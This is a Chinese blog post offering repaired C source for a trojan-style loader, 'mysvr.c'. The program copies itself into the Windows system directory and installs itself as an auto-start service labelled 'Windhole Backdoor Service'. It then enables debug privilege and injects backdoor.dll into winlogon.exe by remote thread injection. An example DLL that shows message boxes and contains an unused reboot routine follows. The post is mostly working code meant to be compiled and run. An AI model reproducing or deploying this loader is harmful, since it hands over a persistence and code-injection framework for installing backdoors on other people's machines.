对网上“dll插入系统进程的源码!算是写木马的经典了”文章所附源代码的修改

        以下mysvr.c代码来自网上名为“dll插入系统进程的源码!算是写木马的经典了”的文章,主要功能是开启系统服务,然后寻找所要插入的进程winlogon.exe,把backdoor.dll插入到此进程,然后执行backdoor.dll。原始代码不能编译执行,我给改了一下,并且提供一个backdoor.dll的源代码,自己生成一个动态链接库的文件backdoor.dll,参见后面的backdoor.dll的源代码,此代码没有什么后门的功能,只是在插入主线程后弹出一个对话框,以表示启动backdoor.dll了,可以用IS查看一下。重新运行时需要Unload此backdoor.dll后方可成功,对于如果主线程winlogon.exe,请小心使用Unload。以防系统崩溃。

以下是mysvr.c的源代码:

/*---------------------------------------------------------------------
//mysvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2002.8.11
//Last modify date: 2003.10.28
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
//Header
//#include "bkdlldata.h" // maoge注释掉了
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <winsvc.h>
#pragma comment(lib, "psapi.lib") // maoge添加的。[maoge注]
//---------------------------------------------------------------------
//Global constant
char       SERVICENAME[9]  = "windhole";
const char DISPLAYNAME[33] = "Windhole Backdoor Service";
const char SRVFILENAME[13] = "windhole.exe";
const char BDRFILENAME[13] = "backdoor.dll";
const char DESTPROC[19]    = "winlogon.exe"; 

//---------------------------------------------------------------------
//Glabal variable
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
int WillStop = 0;
//---------------------------------------------------------------------
//Function declaration
int AddPrivilege(const char *Name);
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
DWORD ProcessToPID(const char *InputProcessName);
//---------------------------------------------------------------------
//Function definition
int main(int argc,char *argv[])
{
 //如果参数为“-service”就作为服务启动
 if ((argc >= 2) && (!lstrcmp(argv[1],"-service")))
 {
  SERVICE_TABLE_ENTRY DispatchTable[] =
  {
   {SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
   {NULL, NULL}
  };
  
  if (!StartServiceCtrlDispatcher( DispatchTable))
  {
   return 1;
  }
  
  return 0;
 }
 
 //否则就自动安装服务
 //复制自身到系统目录
 char DestName[MAX_PATH + 1];
 char NowName[MAX_PATH + 1];
 
 ZeroMemory(DestName,MAX_PATH + 1);
 ZeroMemory(NowName,MAX_PATH + 1);
 
 if (!GetSystemDirectory(DestName,MAX_PATH))
 {
  printf("GetSystemDirectory() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 lstrcat(DestName,"//");
 lstrcat(DestName,SRVFILENAME);
 
 if (!GetModuleFileName(NULL,NowName,MAX_PATH))
 {
  printf("GetModuleFileName() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 
 if (!CopyFile(NowName,DestName,0))
 {
  printf("CopyFile() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 //安装服务
 SC_HANDLE newService, scm;
 //连接SCM
 if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
 {
  printf("OpenSCManager() error = %d/nInstall failure!/n",GetLastError());
  return 1;
 }
 
 //当作为服务启动时加上“-service”参数
 lstrcat(DestName," -service");
 
 if (!(newService = CreateService(scm,
  SERVICENAME,
  DISPLAYNAME,
  SERVICE_ALL_ACCESS,
  SERVICE_WIN32_OWN_PROCESS,
  SERVICE_AUTO_START,
  SERVICE_ERROR_NORMAL,
  DestName,
  NULL, NULL, NULL, NULL, NULL)))
 {
  printf("CreateService() error = %d/nInstall failure!/n",GetLastError());
 }
 else
 {
  printf("Install success!/n");
  
  char *pra[] = {"-service", "/0"};
  
  if (!StartService(newService,1,(const char **)pra))
  {
   printf("StartService() error = %d/nStart service failure!/n",GetLastError());
  }
  else
  {
   printf("Start service Success!/n");
  }
  
 }
 
 CloseServiceHandle(newService);
 CloseServiceHandle(scm);
 return 0;
 
}
//---------------------------------------------------------------------
DWORD MyWorkThread(void)
{
 Sleep(4000);
 
 FILE *fp;
 
 if ((fp = fopen(BDRFILENAME,"rb")) == NULL) // "wb"更改成了"rb",以表示只读,
 {           // 否则会重写backdoor.dll。[maoge注]
  WillStop = 1;
  return 1;
 }
 // 以下五行maoge给注释掉了,几乎是没什么用处。[maoge注]
 /*
 fwrite(data1,sizeof(data1),1,fp);
 fwrite(data2,sizeof(data2),1,fp);
 fwrite(data3,sizeof(data3),1,fp);
 fwrite(data4,sizeof(data4),1,fp);
 fwrite(data5,sizeof(data5),1,fp);
 */
 fclose(fp);
 
 char FullName[MAX_PATH + 1];
 
 ZeroMemory(FullName,MAX_PATH + 1);
 GetSystemDirectory(FullName,MAX_PATH);
 lstrcat(FullName,"//");
 lstrcat(FullName,BDRFILENAME);
 
 //如果是要打开系统进程,一定要先申请debug权限
 AddPrivilege(SE_DEBUG_NAME);
 
 HANDLE hRemoteProcess = NULL;
 DWORD Pid = ProcessToPID(DESTPROC);
 
    if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
        PROCESS_VM_OPERATION |         //允许远程VM操作
        PROCESS_VM_WRITE |          //允许远程VM写
        PROCESS_VM_READ,          //允许远程VM读
        0,
        Pid)) == NULL)
    {
  WillStop = 1;
  return 1;
    }
    char *pDllName = NULL;
 
    if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
        NULL,
        lstrlen(FullName) + 1,
        MEM_COMMIT,
        PAGE_READWRITE)) == NULL)
    {
  CloseHandle(hRemoteProcess);
  WillStop = 1;
        return 1;
    }
 
    //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
    if (WriteProcessMemory(hRemoteProcess,
        pDllName,
        FullName,
        lstrlen(FullName),
        NULL) == 0)
    {
  VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
  CloseHandle(hRemoteProcess);
        WillStop = 1;
  return 1;
    }
 
 
    //计算LoadLibraryA的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = NULL;
 
    if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
    {
  VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
  CloseHandle(hRemoteProcess);
        WillStop = 1;
  return 1;
    }
 
 
    DWORD ThreadId = 0;
 
 CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
  NULL,
  0,
  pfnStartAddr,     //LoadLibraryA的入口地址
  pDllName,
  0,
  &ThreadId);
 
 CloseHandle(hRemoteProcess);
    WillStop = 1;
 return 0;
}
//---------------------------------------------------------------------
void MyServiceStart (int argc, char *argv[])
{
 if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
 {
  return;
 }
 
 MyServiceStatus.dwServiceType = SERVICE_WIN32;
 MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
 MyServiceStatus.dwWin32ExitCode = 0;
 MyServiceStatus.dwServiceSpecificExitCode = 0;
 MyServiceStatus.dwCheckPoint = 0;
 MyServiceStatus.dwWaitHint = 0;
 
 if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
 {
  return;
 }
 
 DWORD Threadid;
 
 
 // Initialization code goes here. Handle error condition
 if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
 {
  MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
  MyServiceStatus.dwCheckPoint = 0;
  MyServiceStatus.dwWaitHint = 0;
  MyServiceStatus.dwWin32ExitCode = GetLastError();
  MyServiceStatus.dwServiceSpecificExitCode = GetLastError();
  
  SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
  return;
 }
 
 // Initialization complete - report running status.
 MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
 MyServiceStatus.dwCheckPoint = 0;
 MyServiceStatus.dwWaitHint = 0;
 
 if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
 {
  return;
 }
 
 while(WillStop == 0)
 {
  Sleep(200);
 }
 
 MyServiceStatus.dwWin32ExitCode = 0;
 MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
 MyServiceStatus.dwCheckPoint = 0;
 MyServiceStatus.dwWaitHint = 0;
 
 SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
 return;
}
//---------------------------------------------------------------------
void MyServiceCtrlHandler (DWORD Opcode)
{
 switch(Opcode)
 {
 case SERVICE_CONTROL_PAUSE:
  // Do whatever it takes to pause here.
  MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
  break;
  
 case SERVICE_CONTROL_CONTINUE:
  // Do whatever it takes to continue here.
  MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
  break;
  
 case SERVICE_CONTROL_STOP:
  // Do whatever it takes to stop here.
  MyServiceStatus.dwWin32ExitCode = 0;
  MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
  MyServiceStatus.dwCheckPoint = 0;
  MyServiceStatus.dwWaitHint = 0;
  
  SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
  
  WillStop = 1;
  return;
  
 case SERVICE_CONTROL_INTERROGATE:
  // Fall through to send current status.
  break;
  
 }
 
 // Send current status.
 if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
 {
  return;
 }
 
 return;
}
//---------------------------------------------------------------------
//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 LUID Luid;
 
 if (!OpenProcessToken(GetCurrentProcess(),
  TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
  &hToken))
 {
  printf("OpenProcessToken error./n");
  return 1;
 }
 
 if (!LookupPrivilegeValue(NULL,Name,&Luid))
 {
  printf("LookupPrivilegeValue error./n");
  return 1;
 }
 
 tp.PrivilegeCount = 1;
 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 tp.Privileges[0].Luid = Luid;
 
 if (!AdjustTokenPrivileges(hToken,
  0,
  &tp,
  sizeof(TOKEN_PRIVILEGES),
  NULL,
  NULL))
 {
  printf("AdjustTokenPrivileges error./n");
  return 1;
 }
 
 return 0;
}
//---------------------------------------------------------------------
//将进程名转换为PID的函数
DWORD ProcessToPID(const char *InputProcessName)
{
 DWORD aProcesses[1024], cbNeeded, cProcesses;
 unsigned int i;
 HANDLE hProcess = NULL;
 HMODULE hMod = NULL;
 char szProcessName[MAX_PATH] = "UnknownProcess";
 
 AddPrivilege(SE_DEBUG_NAME);
 
 // 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
 if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
 {
  return 0;
 }
 
 cProcesses = cbNeeded / sizeof(DWORD);
 // 按有效的PID遍历所有的进程
 for ( i = 0; i < cProcesses; i++ )
 {
  // 打开特定PID的进程
  hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
   PROCESS_VM_READ,
   FALSE, aProcesses[i]);
  // 取得特定PID的进程名
  if ( hProcess )
  {
   if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
   {
    GetModuleBaseName( hProcess, hMod,
     szProcessName, sizeof(szProcessName) );
    //将取得的进程名与输入的进程名比较,如相同则返回进程PID
    if(!stricmp(szProcessName, InputProcessName))
    {
     CloseHandle( hProcess );
     return aProcesses[i];
    }
   }
  }//end of if ( hProcess )
 }//end of for
 //没有找到相应的进程名,返回0
 CloseHandle( hProcess );
 return 0;
}
//--------------------------------

以下是backdoor.cpp的源代码,只供测试,没什么功能,SysShutdown()为系统重启,小心使用

/*****************************************************

//backdoor.cpp
//Date: 2006.4.27
// Compiled in WinXP SP2

******************************************************/
#include <windows.h>
#include <stdio.h>

void SysReboot();

BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{
 char szProcessId[64];
 switch (reason)
 {
 case DLL_PROCESS_ATTACH:
  {
   //获取当前进程ID
   _itoa(GetCurrentProcessId(), szProcessId, 10);
   int ret = MessageBox(NULL, szProcessId, "backdoor.dll", MB_OK);
   if (ret != 0)
   {
    MessageBox(NULL, 0, "系统重启", MB_OK);
    //SysSysReboot();
    return TRUE;
   }
  }
 default:
  return TRUE;
 }
}
void SysSysReboot()
{
 HANDLE hToken;
 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
 {
  LUID luid;
  TOKEN_PRIVILEGES tp;
  
  LookupPrivilegeValue(
   NULL,    // address of string specifying the system
   SE_SHUTDOWN_NAME, // address of string specifying the privilege
   &luid    // address of locally unique identifier
   );
  tp.PrivilegeCount = 1;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  tp.Privileges[0].Luid = luid;
  
  AdjustTokenPrivileges(
   hToken,      // handle to token that contains privileges
   FALSE,      // flag for disabling all privileges
   &tp,      // pointer to new privilege information
   sizeof(TOKEN_PRIVILEGES), // size, in bytes, of the PreviousState buffer
   NULL,      // receives original state of changed privileges
   NULL      // receives required size of the PreviousState buffer
   );
  CloseHandle(hToken);
  ExitWindowsEx(EWX_REBOOT, 0);
 }
}

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值